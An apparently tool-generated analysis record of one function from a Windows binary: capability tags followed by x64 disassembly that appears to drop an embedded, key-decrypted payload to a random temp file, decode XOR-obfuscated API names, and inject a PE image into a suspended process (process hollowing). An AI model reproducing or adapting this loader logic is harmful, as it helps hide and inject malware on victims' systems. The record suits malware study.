Function at 0x1400018c0
Capabilities:
Get common file path
Link many functions at runtime
Resolve function by parsing pe exports
Write file on windows

Disassembly:
mov eax, 0xacb8
call fcn.14002b1e0
sub rsp, rax
mov qword [rsp + 0xa888], rcx
mov rax, qword [rsp + 0xa888]
mov qword [rsp + 0xa880], rax
mov rax, qword [rsp + 0xa880]
mov rcx, qword [rsp + 0xa880]
movsxd rcx, dword [rcx + 0x3c]
add rax, rcx
mov qword [rsp + 0xa878], rax
mov rax, qword [rsp + 0xa880]
mov rcx, qword [rsp + 0xa880]
movsxd rcx, dword [rcx + 0x3c]
add rax, rcx
add rax, 0x108
mov qword [rsp + 0xa870], rax
cmp qword [rsp + 0xa880], 0
je 0x140001956
cmp qword [rsp + 0xa878], 0
je 0x140001956
cmp qword [rsp + 0xa870], 0
jne 0x140001963
mov byte [rsp + 0xa897], 0
jmp 0x1400041d2
lea rdx, [rsp + 0xa670]
mov ecx, 0x100
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
xor eax, eax
mov ecx, eax
call fcn.140004200
mov ecx, eax
call sub.api_ms_win_crt_utility_l1_1_0.dll_srand
mov rax, qword [str.QWEDFG345678zxcvbnw]
mov qword [rsp + 0xa650], rax
mov rax, qword [0x140062ce8]
mov qword [rsp + 0xa658], rax
mov ax, word [0x140062cf0]
mov word [rsp + 0xa660], ax
lea rcx, [rsp + 0xa540]
xor edx, edx
mov r8d, 0x104
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
call sub.api_ms_win_crt_utility_l1_1_0.dll_rand
mov ecx, 0xa
cdq
idiv ecx
add edx, 0xa
mov dword [rsp + 0xa53c], edx
mov dword [rsp + 0xa538], 0
mov eax, dword [rsp + 0xa538]
cmp eax, dword [rsp + 0xa53c]
jge 0x140001a61
call sub.api_ms_win_crt_utility_l1_1_0.dll_rand
cdqe
mov ecx, 0x12
xor edx, edx
div rcx
mov eax, edx
mov dword [rsp + 0xa534], eax
movsxd rax, dword [rsp + 0xa534]
mov al, byte [rsp + rax + 0xa650]
mov byte [rsp + 0xa532], al
mov byte [rsp + 0xa533], 0
lea rcx, [rsp + 0xa540]
lea rdx, [rsp + 0xa532]
call sub.api_ms_win_crt_string_l1_1_0.dll_strcat
mov eax, dword [rsp + 0xa538]
add eax, 1
mov dword [rsp + 0xa538], eax
jmp 0x1400019ea
lea rdx, [rsp + 0xa670]
lea rcx, [rsp + 0xa320]
call fcn.140031d10
lea rdx, [rsp + 0xa540]
lea rcx, [rsp + 0xa320]
call fcn.140031ce0
mov word [rsp + 0xa526], 0
mov qword [rsp + 0xa318], 0
lea rdx, [rsp + 0xa320]
lea rcx, [rsp + 0xa318]
lea r8, [0x140062cf2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen_s]
mov dword [rsp + 0xa314], eax
cmp dword [rsp + 0xa314], 0
jne 0x140001ae2
cmp qword [rsp + 0xa318], 0
jne 0x140001aef
mov byte [rsp + 0xa897], 0
jmp 0x1400041d2
mov byte [rsp + 0xa2e2], 0x30
mov byte [rsp + 0xa2e3], 0xe2
mov byte [rsp + 0xa2e4], 0x73
mov byte [rsp + 0xa2e5], 0xcd
mov byte [rsp + 0xa2e6], 0xbf
mov byte [rsp + 0xa2e7], 0x1b
lea rax, [rsp + 0xa2e2]
mov qword [rsp + 0xa2e8], rax
mov qword [rsp + 0xa2f0], 6
lea r8, [rsp + 0xa2e0]
mov qword [rsp + 0xa898], r8
mov rax, qword [rsp + 0xa898]
mov qword [rsp + 0xaa08], rax
lea rcx, [rsp + 0xa2f8]
lea rdx, [rsp + 0xa2e8]
call fcn.14003b900
jmp 0x140001b75
lea rax, [rsp + 0xa2e0]
mov qword [rsp + 0xa8a0], rax
mov rcx, qword [rsp + 0xa8a0]
call fcn.14003b300
lea rdx, [0x140062d00]
lea rcx, [rsp + 0x970]
mov qword [rsp + 0x350], rcx
mov r8d, 0x9960
mov qword [rsp + 0x358], r8
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
mov rdx, qword [rsp + 0x350]
mov r8, qword [rsp + 0x358]
lea rcx, [rsp + 0xa2f8]
call fcn.140001580
jmp 0x140001bde
mov r9, qword [rsp + 0xa318]
lea rcx, [rsp + 0x970]
mov edx, 1
mov r8d, 0x9960
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
jmp 0x140001c03
mov rcx, qword [rsp + 0xa318]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fclose
jmp 0x140001c15
mov rcx, qword [rsp + 0xa878]
mov rdx, qword [rsp + 0xa870]
call fcn.140001450
mov byte [rsp + 0x34f], al
jmp 0x140001c36
mov al, byte [rsp + 0x34f]
and al, 1
mov byte [rsp + 0x96f], al
mov rax, qword [rsp + 0xa888]
mov qword [rsp + 0x960], rax
xorps xmm0, xmm0
movaps xmmword [rsp + 0x940], xmm0
movaps xmmword [rsp + 0x930], xmm0
movaps xmmword [rsp + 0x920], xmm0
movaps xmmword [rsp + 0x910], xmm0
movaps xmmword [rsp + 0x900], xmm0
movaps xmmword [rsp + 0x8f0], xmm0
mov qword [rsp + 0x950], 0
mov dword [rsp + 0x8f0], 0x68
movaps xmmword [rsp + 0x8d0], xmm0
mov qword [rsp + 0x8e0], 0
lea rcx, [rsp + 0x8b0]
lea rdx, [rsp + 0x8a8]
call fcn.140004220
jmp 0x140001cce
lea rax, [rsp + 0x8b0]
mov qword [rsp + 0xa8b0], rax
mov rax, qword [rsp + 0xa8b0]
mov qword [rsp + 0x340], rax
mov qword [rsp + 0xaa28], rax
mov rax, qword [rsp + 0xaa28]
movzx eax, word [rax + 0x18]
cmp eax, 0
je 0x140001da8
mov rax, qword [rsp + 0x340]
mov qword [rsp + 0xaa88], rax
mov qword [rsp + 0xaa80], rax
mov rax, qword [rsp + 0xaa88]
mov qword [rsp + 0x338], rax
mov dword [rsp + 0xaa7c], 0
cmp dword [rsp + 0xaa7c], 0xd
jge 0x140001da3
mov rax, qword [rsp + 0xaa80]
movsxd rcx, dword [rsp + 0xaa7c]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xaa7c]
mov r8d, 0x32
cdq
idiv r8d
mov rax, qword [rsp + 0x338]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xaa7c]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xaa7c]
add eax, 1
mov dword [rsp + 0xaa7c], eax
jmp 0x140001d3e
jmp 0x140001da8
jmp 0x140001dad
mov rcx, qword [rsp + 0x340]
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryW]
call rax
mov qword [rsp + 0x330], rax
jmp 0x140001dcb
mov rax, qword [rsp + 0x330]
mov qword [rsp + 0x8a0], rax
cmp qword [rsp + 0x8a0], 0
jne 0x140001e5e
mov byte [rsp + 0xa897], 0
mov dword [rsp + 0x89c], 1
jmp 0x1400041c5
lea rax, [rsp + 0x8b0]
mov qword [rsp + 0xa8c0], rax
mov rax, qword [rsp + 0xa8c0]
mov qword [rsp + 0x328], rax
mov qword [rsp + 0xaa18], rax
mov rax, qword [rsp + 0xaa18]
movzx eax, word [rax + 0x18]
cmp eax, 0
jne 0x140001f38
mov rax, qword [rsp + 0x328]
mov qword [rsp + 0xaa58], rax
mov qword [rsp + 0xaa50], rax
mov rax, qword [rsp + 0xaa58]
mov qword [rsp + 0x320], rax
mov dword [rsp + 0xaa4c], 0
cmp dword [rsp + 0xaa4c], 0xd
jge 0x140001f33
mov rax, qword [rsp + 0xaa50]
movsxd rcx, dword [rsp + 0xaa4c]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xaa4c]
mov r8d, 0x32
cdq
idiv r8d
mov rax, qword [rsp + 0x320]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xaa4c]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xaa4c]
add eax, 1
mov dword [rsp + 0xaa4c], eax
jmp 0x140001ece
jmp 0x140001f38
jmp 0x140001f3d
lea rax, [rsp + 0x8b0]
mov qword [rsp + 0xa8e0], rax
mov rax, qword [rsp + 0xa8e0]
mov qword [rsp + 0x318], rax
mov dword [rsp + 0xa8dc], 0
cmp dword [rsp + 0xa8dc], 0xd
jge 0x140001fa2
mov rax, qword [rsp + 0x318]
movsxd rcx, dword [rsp + 0xa8dc]
mov word [rax + rcx*2], 0
mov eax, dword [rsp + 0xa8dc]
add eax, 1
mov dword [rsp + 0xa8dc], eax
jmp 0x140001f68
jmp 0x140001fa7
lea rcx, [rsp + 0x878]
lea rdx, [rsp + 0x870]
call fcn.140004260
jmp 0x140001fc1
mov rax, qword [rsp + 0x8a0]
mov qword [rsp + 0x308], rax
lea rax, [rsp + 0x878]
mov qword [rsp + 0xa8e8], rax
mov rax, qword [rsp + 0xa8e8]
mov qword [rsp + 0x310], rax
mov qword [rsp + 0xaab8], rax
mov rax, qword [rsp + 0xaab8]
movzx eax, word [rax + 0x1c]
cmp eax, 0
je 0x1400020ab
mov rax, qword [rsp + 0x310]
mov qword [rsp + 0xab48], rax
mov qword [rsp + 0xab40], rax
mov rax, qword [rsp + 0xab48]
mov qword [rsp + 0x300], rax
mov dword [rsp + 0xab3c], 0
cmp dword [rsp + 0xab3c], 0xf
jge 0x1400020a6
mov rax, qword [rsp + 0xab40]
movsxd rcx, dword [rsp + 0xab3c]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xab3c]
mov r8d, 0x32
cdq
idiv r8d
mov rax, qword [rsp + 0x300]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xab3c]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xab3c]
add eax, 1
mov dword [rsp + 0xab3c], eax
jmp 0x140002041
jmp 0x1400020ab
jmp 0x1400020b0
mov rcx, qword [rsp + 0x310]
call fcn.1400014e0
mov qword [rsp + 0x2f8], rax
jmp 0x1400020ca
mov rdx, qword [rsp + 0x2f8]
mov rcx, qword [rsp + 0x308]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rsp + 0x2f0], rax
jmp 0x1400020f0
mov rax, qword [rsp + 0x2f0]
mov qword [rsp + 0x868], rax
cmp qword [rsp + 0x868], 0
jne 0x140002127
mov byte [rsp + 0xa897], 0
mov dword [rsp + 0x89c], 1
jmp 0x1400041c5
mov rax, qword [rsp + 0x868]
mov rcx, rsp
lea rdx, [rsp + 0x8d0]
mov qword [rcx + 0x48], rdx
lea rdx, [rsp + 0x8f0]
mov qword [rcx + 0x40], rdx
mov qword [rcx + 0x38], 0
mov qword [rcx + 0x30], 0
mov dword [rcx + 0x28], 4
mov dword [rcx + 0x20], 1
xor ecx, ecx
mov r9d, ecx
lea rcx, [rsp + 0xa320]
mov rdx, r9
mov r8, r9
call rax
mov qword [rsp + 0x2e8], rax
jmp 0x14000218a
mov rax, qword [rsp + 0x2e8]
cmp rax, 0
setne al
and al, 1
mov byte [rsp + 0x867], al
mov al, byte [rsp + 0x867]
and al, 1
movzx eax, al
cmp eax, 0
jne 0x1400021cf
mov byte [rsp + 0xa897], 0
mov dword [rsp + 0x89c], 1
jmp 0x1400041c5
lea rax, [rsp + 0x878]
mov qword [rsp + 0xa900], rax
mov rax, qword [rsp + 0xa900]
mov qword [rsp + 0x2e0], rax
mov qword [rsp + 0xaaa0], rax
mov rax, qword [rsp + 0xaaa0]
movzx eax, word [rax + 0x1c]
cmp eax, 0
jne 0x1400022a9
mov rax, qword [rsp + 0x2e0]
mov qword [rsp + 0xab00], rax
mov qword [rsp + 0xaaf8], rax
mov rax, qword [rsp + 0xab00]
mov qword [rsp + 0x2d8], rax
mov dword [rsp + 0xaaf4], 0
cmp dword [rsp + 0xaaf4], 0xf
jge 0x1400022a4
mov rax, qword [rsp + 0xaaf8]
movsxd rcx, dword [rsp + 0xaaf4]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xaaf4]
mov r8d, 0x32
cdq
idiv r8d
mov rax, qword [rsp + 0x2d8]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xaaf4]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xaaf4]
add eax, 1
mov dword [rsp + 0xaaf4], eax
jmp 0x14000223f
jmp 0x1400022a9
jmp 0x1400022ae
lea rax, [rsp + 0x878]
mov qword [rsp + 0xa930], rax
mov rax, qword [rsp + 0xa930]
mov qword [rsp + 0x2d0], rax
mov dword [rsp + 0xa92c], 0
cmp dword [rsp + 0xa92c], 0xf
jge 0x140002313
mov rax, qword [rsp + 0x2d0]
movsxd rcx, dword [rsp + 0xa92c]
mov word [rax + rcx*2], 0
mov eax, dword [rsp + 0xa92c]
add eax, 1
mov dword [rsp + 0xa92c], eax
jmp 0x1400022d9
jmp 0x140002318
test byte [rsp + 0x96f], 1
je 0x14000262b
lea rcx, [rsp + 0x840]
lea rdx, [rsp + 0x838]
call fcn.1400042b0
jmp 0x140002340
mov rax, qword [rsp + 0x8a0]
mov qword [rsp + 0x2b8], rax
lea rax, [rsp + 0x840]
mov qword [rsp + 0xa948], rax
mov rax, qword [rsp + 0xa948]
mov qword [rsp + 0x2c0], rax
mov qword [rsp + 0xa950], rax
mov rax, qword [rsp + 0xa950]
mov qword [rsp + 0x2c8], rax
mov qword [rsp + 0xaa90], rax
mov rax, qword [rsp + 0xaa90]
movzx eax, word [rax + 0x1c]
cmp eax, 0
je 0x140002442
mov rax, qword [rsp + 0x2c8]
mov qword [rsp + 0xaad0], rax
mov qword [rsp + 0xaac8], rax
mov rax, qword [rsp + 0xaad0]
mov qword [rsp + 0x2b0], rax
mov dword [rsp + 0xaac4], 0
cmp dword [rsp + 0xaac4], 0xf
jge 0x14000243d
mov rax, qword [rsp + 0xaac8]
movsxd rcx, dword [rsp + 0xaac4]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xaac4]
mov r8d, 0x32
cdq
idiv r8d
mov rax, qword [rsp + 0x2b0]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xaac4]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xaac4]
add eax, 1
mov dword [rsp + 0xaac4], eax
jmp 0x1400023d8
jmp 0x140002442
jmp 0x140002447
mov rcx, qword [rsp + 0x2c0]
call fcn.1400014e0
mov qword [rsp + 0x2a8], rax
jmp 0x140002461
mov rdx, qword [rsp + 0x2a8]
mov rcx, qword [rsp + 0x2b8]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rsp + 0x2a0], rax
jmp 0x140002487
mov rax, qword [rsp + 0x2a0]
mov qword [rsp + 0x830], rax
cmp qword [rsp + 0x830], 0
jne 0x1400024be
mov byte [rsp + 0xa897], 0
mov dword [rsp + 0x89c], 1
jmp 0x1400041c5
mov rax, qword [rsp + 0x830]
mov rcx, qword [rsp + 0x8d0]
lea rdx, [rsp + 0x860]
call rax
jmp 0x1400024dd
lea rax, [rsp + 0x840]
mov qword [rsp + 0xa8f8], rax
mov rax, qword [rsp + 0xa8f8]
mov qword [rsp + 0x298], rax
mov qword [rsp + 0xaaa8], rax
mov rax, qword [rsp + 0xaaa8]
movzx eax, word [rax + 0x1c]
cmp eax, 0
jne 0x1400025b7
mov rax, qword [rsp + 0x298]
mov qword [rsp + 0xab18], rax
mov qword [rsp + 0xab10], rax
mov rax, qword [rsp + 0xab18]
mov qword [rsp + 0x290], rax
mov dword [rsp + 0xab0c], 0
cmp dword [rsp + 0xab0c], 0xf
jge 0x1400025b2
mov rax, qword [rsp + 0xab10]
movsxd rcx, dword [rsp + 0xab0c]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xab0c]
mov r8d, 0x32
cdq
idiv r8d
mov rax, qword [rsp + 0x290]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xab0c]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xab0c]
add eax, 1
mov dword [rsp + 0xab0c], eax
jmp 0x14000254d
jmp 0x1400025b7
jmp 0x1400025bc
lea rax, [rsp + 0x840]
mov qword [rsp + 0xa920], rax
mov rax, qword [rsp + 0xa920]
mov qword [rsp + 0x288], rax
mov dword [rsp + 0xa91c], 0
cmp dword [rsp + 0xa91c], 0xf
jge 0x140002621
mov rax, qword [rsp + 0x288]
movsxd rcx, dword [rsp + 0xa91c]
mov word [rax + rcx*2], 0
mov eax, dword [rsp + 0xa91c]
add eax, 1
mov dword [rsp + 0xa91c], eax
jmp 0x1400025e7
jmp 0x140002626
jmp 0x14000262b
lea rcx, [rsp + 0x810]
lea rdx, [rsp + 0x808]
call fcn.140004300
jmp 0x140002645
mov rax, qword [rsp + 0x8a0]
mov qword [rsp + 0x270], rax
lea rax, [rsp + 0x810]
mov qword [rsp + 0xa938], rax
mov rax, qword [rsp + 0xa938]
mov qword [rsp + 0x278], rax
mov qword [rsp + 0xa940], rax
mov rax, qword [rsp + 0xa940]
mov qword [rsp + 0x280], rax
mov qword [rsp + 0xaa98], rax
mov rax, qword [rsp + 0xaa98]
movzx eax, word [rax + 0x1c]
cmp eax, 0
je 0x140002747
mov rax, qword [rsp + 0x280]
mov qword [rsp + 0xaae8], rax
mov qword [rsp + 0xaae0], rax
mov rax, qword [rsp + 0xaae8]
mov qword [rsp + 0x268], rax
mov dword [rsp + 0xaadc], 0
cmp dword [rsp + 0xaadc], 0xf
jge 0x140002742
mov rax, qword [rsp + 0xaae0]
movsxd rcx, dword [rsp + 0xaadc]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xaadc]
mov r8d, 0x32
cdq
idiv r8d
mov rax, qword [rsp + 0x268]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xaadc]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xaadc]
add eax, 1
mov dword [rsp + 0xaadc], eax
jmp 0x1400026dd
jmp 0x140002747
jmp 0x14000274c
mov rcx, qword [rsp + 0x278]
call fcn.1400014e0
mov qword [rsp + 0x260], rax
jmp 0x140002766
mov rdx, qword [rsp + 0x260]
mov rcx, qword [rsp + 0x270]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rsp + 0x258], rax
jmp 0x14000278c
mov rax, qword [rsp + 0x258]
mov qword [rsp + 0x800], rax
cmp qword [rsp + 0x800], 0
jne 0x1400027c3
mov byte [rsp + 0xa897], 0
mov dword [rsp + 0x89c], 1
jmp 0x1400041c5
lea rax, [rsp + 0x810]
mov qword [rsp + 0xa8f0], rax
mov rax, qword [rsp + 0xa8f0]
mov qword [rsp + 0x250], rax
mov qword [rsp + 0xaab0], rax
mov rax, qword [rsp + 0xaab0]
movzx eax, word [rax + 0x1c]
cmp eax, 0
jne 0x14000289d
mov rax, qword [rsp + 0x250]
mov qword [rsp + 0xab30], rax
mov qword [rsp + 0xab28], rax
mov rax, qword [rsp + 0xab30]
mov qword [rsp + 0x248], rax
mov dword [rsp + 0xab24], 0
cmp dword [rsp + 0xab24], 0xf
jge 0x140002898
mov rax, qword [rsp + 0xab28]
movsxd rcx, dword [rsp + 0xab24]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xab24]
mov r8d, 0x32
cdq
idiv r8d
mov rax, qword [rsp + 0x248]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xab24]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xab24]
add eax, 1
mov dword [rsp + 0xab24], eax
jmp 0x140002833
jmp 0x14000289d
jmp 0x1400028a2
lea rax, [rsp + 0x810]
mov qword [rsp + 0xa910], rax
mov rax, qword [rsp + 0xa910]
mov qword [rsp + 0x240], rax
mov dword [rsp + 0xa90c], 0
cmp dword [rsp + 0xa90c], 0xf
jge 0x140002907
mov rax, qword [rsp + 0x240]
movsxd rcx, dword [rsp + 0xa90c]
mov word [rax + rcx*2], 0
mov eax, dword [rsp + 0xa90c]
add eax, 1
mov dword [rsp + 0xa90c], eax
jmp 0x1400028cd
jmp 0x14000290c
mov rax, qword [rsp + 0x800]
mov rcx, qword [rsp + 0x8d0]
mov r8, qword [rsp + 0xa878]
mov edx, dword [r8 + 0x34]
mov r8d, dword [r8 + 0x50]
mov r9, rsp
mov dword [r9 + 0x20], 0x40
mov r9d, 0x3000
call rax
mov qword [rsp + 0x238], rax
jmp 0x14000294c
mov rax, qword [rsp + 0x238]
mov qword [rsp + 0x7f8], rax
cmp qword [rsp + 0x7f8], 0
jne 0x140002c97
lea rcx, [rsp + 0x7d0]
lea rdx, [rsp + 0x7c8]
call fcn.140004350
jmp 0x140002985
mov rax, qword [rsp + 0x8a0]
mov qword [rsp + 0x220], rax
lea rax, [rsp + 0x7d0]
mov qword [rsp + 0xa958], rax
mov rax, qword [rsp + 0xa958]
mov qword [rsp + 0x228], rax
mov qword [rsp + 0xab50], rax
mov rax, qword [rsp + 0xab50]
mov qword [rsp + 0x230], rax
mov qword [rsp + 0xab58], rax
mov rax, qword [rsp + 0xab58]
movzx eax, word [rax + 0x20]
cmp eax, 0
je 0x140002a87
mov rax, qword [rsp + 0x230]
mov qword [rsp + 0xab78], rax
mov qword [rsp + 0xab70], rax
mov rax, qword [rsp + 0xab78]
mov qword [rsp + 0x218], rax
mov dword [rsp + 0xab6c], 0
cmp dword [rsp + 0xab6c], 0x11
jge 0x140002a82
mov rax, qword [rsp + 0xab70]
movsxd rcx, dword [rsp + 0xab6c]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xab6c]
mov r8d, 0x32
cdq
idiv r8d
mov rax, qword [rsp + 0x218]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xab6c]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xab6c]
add eax, 1
mov dword [rsp + 0xab6c], eax
jmp 0x140002a1d
jmp 0x140002a87
jmp 0x140002a8c
jmp 0x140002a91
mov rcx, qword [rsp + 0x228]
call fcn.1400014e0
mov qword [rsp + 0x210], rax
jmp 0x140002aab
mov rdx, qword [rsp + 0x210]
mov rcx, qword [rsp + 0x220]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rsp + 0x208], rax
jmp 0x140002ad1
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x7c0], rax
cmp qword [rsp + 0x7c0], 0
jne 0x140002b08
mov byte [rsp + 0xa897], 0
mov dword [rsp + 0x89c], 1
jmp 0x1400041c5
mov rax, qword [rsp + 0x7c0]
mov rcx, qword [rsp + 0x8d0]
xor edx, edx
call rax
jmp 0x140002b21
mov rcx, qword [rsp + 0x8a0]
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
jmp 0x140002b37
lea rax, [rsp + 0x7d0]
mov qword [rsp + 0xa960], rax
mov rax, qword [rsp + 0xa960]
mov qword [rsp + 0x200], rax
mov qword [rsp + 0xab60], rax
mov rax, qword [rsp + 0xab60]
movzx eax, word [rax + 0x20]
cmp eax, 0
jne 0x140002c11
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0xab90], rax
mov qword [rsp + 0xab88], rax
mov rax, qword [rsp + 0xab90]
mov qword [rsp + 0x1f8], rax
mov dword [rsp + 0xab84], 0
cmp dword [rsp + 0xab84], 0x11
jge 0x140002c0c
mov rax, qword [rsp + 0xab88]
movsxd rcx, dword [rsp + 0xab84]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xab84]
mov r8d, 0x32
cdq
idiv r8d
mov rax, qword [rsp + 0x1f8]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xab84]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xab84]
add eax, 1
mov dword [rsp + 0xab84], eax
jmp 0x140002ba7
jmp 0x140002c11
jmp 0x140002c16
lea rax, [rsp + 0x7d0]
mov qword [rsp + 0xa970], rax
mov rax, qword [rsp + 0xa970]
mov qword [rsp + 0x1f0], rax
mov dword [rsp + 0xa96c], 0
cmp dword [rsp + 0xa96c], 0x11
jge 0x140002c7b
mov rax, qword [rsp + 0x1f0]
movsxd rcx, dword [rsp + 0xa96c]
mov word [rax + rcx*2], 0
mov eax, dword [rsp + 0xa96c]
add eax, 1
mov dword [rsp + 0xa96c], eax
jmp 0x140002c41
jmp 0x140002c80
mov rcx, qword [rsp + 0xa888]
call fcn.1400018c0
jmp 0x140002c92
jmp 0x140002c97
mov eax, dword [rsp + 0x7f8]
mov rcx, qword [rsp + 0xa878]
mov ecx, dword [rcx + 0x34]
sub eax, ecx
mov dword [rsp + 0x7bc], eax
lea rcx, [rsp + 0x790]
lea rdx, [rsp + 0x788]
call fcn.140004390
jmp 0x140002ccc
mov rax, qword [rsp + 0x8a0]
mov qword [rsp + 0x1d8], rax
lea rax, [rsp + 0x790]
mov qword [rsp + 0xa978], rax
mov rax, qword [rsp + 0xa978]
mov qword [rsp + 0x1e0], rax
mov qword [rsp + 0xab98], rax
mov rax, qword [rsp + 0xab98]
mov qword [rsp + 0x1e8], rax
mov qword [rsp + 0xaba0], rax
mov rax, qword [rsp + 0xaba0]
movzx eax, word [rax + 0x24]
cmp eax, 0
je 0x140002dce
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0xabc0], rax
mov qword [rsp + 0xabb8], rax
mov rax, qword [rsp + 0xabc0]
mov qword [rsp + 0x1d0], rax
mov dword [rsp + 0xabb4], 0
cmp dword [rsp + 0xabb4], 0x13
jge 0x140002dc9
mov rax, qword [rsp + 0xabb8]
movsxd rcx, dword [rsp + 0xabb4]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xabb4]
mov r8d, 0x32
cdq
idiv r8d
mov rax, qword [rsp + 0x1d0]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xabb4]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xabb4]
add eax, 1
mov dword [rsp + 0xabb4], eax
jmp 0x140002d64
jmp 0x140002dce
jmp 0x140002dd3
jmp 0x140002dd8
mov rcx, qword [rsp + 0x1e0]
call fcn.1400014e0
mov qword [rsp + 0x1c8], rax
jmp 0x140002df2
mov rdx, qword [rsp + 0x1c8]
mov rcx, qword [rsp + 0x1d8]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rsp + 0x1c0], rax
jmp 0x140002e18
mov rax, qword [rsp + 0x1c0]
mov qword [rsp + 0x780], rax
lea rax, [rsp + 0x790]
mov qword [rsp + 0xa980], rax
mov rax, qword [rsp + 0xa980]
mov qword [rsp + 0x1b8], rax
mov qword [rsp + 0xaba8], rax
mov rax, qword [rsp + 0xaba8]
movzx eax, word [rax + 0x24]
cmp eax, 0
jne 0x140002f02
mov rax, qword [rsp + 0x1b8]
mov qword [rsp + 0xabd8], rax
mov qword [rsp + 0xabd0], rax
mov rax, qword [rsp + 0xabd8]
mov qword [rsp + 0x1b0], rax
mov dword [rsp + 0xabcc], 0
cmp dword [rsp + 0xabcc], 0x13
jge 0x140002efd
mov rax, qword [rsp + 0xabd0]
movsxd rcx, dword [rsp + 0xabcc]
movzx ecx, word [rax + rcx*2]
mov eax, dword [rsp + 0xabcc]
mov r8d, 0x32
cdq
idiv r8d
mov rax, qword [rsp + 0x1b0]
add edx, 0x36
xor ecx, edx
mov dx, cx
movsxd rcx, dword [rsp + 0xabcc]
mov word [rax + rcx*2], dx
mov eax, dword [rsp + 0xabcc]
add eax, 1
mov dword [rsp + 0xabcc], eax
jmp 0x140002e98
jmp 0x140002f02
jmp 0x140002f07
lea rax, [rsp + 0x790]
mov qword [rsp + 0xa990], rax
mov rax, qword [rsp + 0xa990]
mov qword [rsp + 0x1a8], rax
mov dword [rsp + 0xa98c], 0
cmp dword [rsp + 0xa98c], 0x13
jge 0x140002f6c
mov rax, qword [rsp + 0x1a8]
movsxd rcx, dword [rsp + 0xa98c]
mov word [rax + rcx*2], 0
mov eax, dword [rsp + 0xa98c]
add eax, 1
mov dword [rsp + 0xa98c], eax
jmp 0x140002f32
jmp 0x140002f71
mov byte [rsp + 0x77f], 0
test byte [rsp + 0x96f], 1
je 0x140002ffc
mov ecx, dword [rsp + 0x7f8]
mov rax, qword [rsp + 0xa878]
mov dword [rax + 0x34], ecx
mov rax, qword [rsp + 0x780]
mov rcx, qword [rsp + 0x8d0]
mov rdx, qword [rsp + 0x7f8]
mov r8, qword [rsp + 0x960]
mov r9, qword [rsp + 0xa878]
mov r9d, dword [r9 + 0x54]
mov r10, rsp
mov qword [r10 + 0x20], 0
call rax
mov qword [rsp + 0x1a0], rax
jmp 0x140002fdf
mov rax, qword [rsp + 0x1a0]
cmp rax, 0
setne al
and al, 1
mov byte [rsp + 0x77f], al
jmp 0x14000305a
mov rax, qword [rsp + 0x780]
mov rcx, qword [rsp + 0x8d0]
mov rdx, qword [rsp + 0x7f8]
mov r8, qword [rsp + 0x960]
mov r9, qword [rsp + 0xa878]
mov r9d, dword [r9 + 0x54]
mov r10, rsp
mov qword [r10 + 0x20], 0
call rax
mov qword [rsp + 0x198], rax
jmp 0x140003042
mov rax, qword [rsp + 0x198]
cmp rax, 0
setne al
and al, 1
mov byte [rsp + 0x77f], al
mov al, byte [rsp + 0x77f]
and al, 1
movzx eax, al
cmp eax, 0
jne 0x140003087
mov byte [rsp + 0xa897], 0
mov dword [rsp + 0x89c], 1
jmp 0x1400041c5
mov qword [rsp + 0x768], 0
mov rax, qword [rsp + 0xa878]
cmp dword [rax + 0xa0], 0
je 0x1400030c4
mov rax, qword [rsp + 0xa878]
mov rax, qword [rax + 0xa0]
mov qword [rsp + 0x770], rax
jmp 0x1400030ea
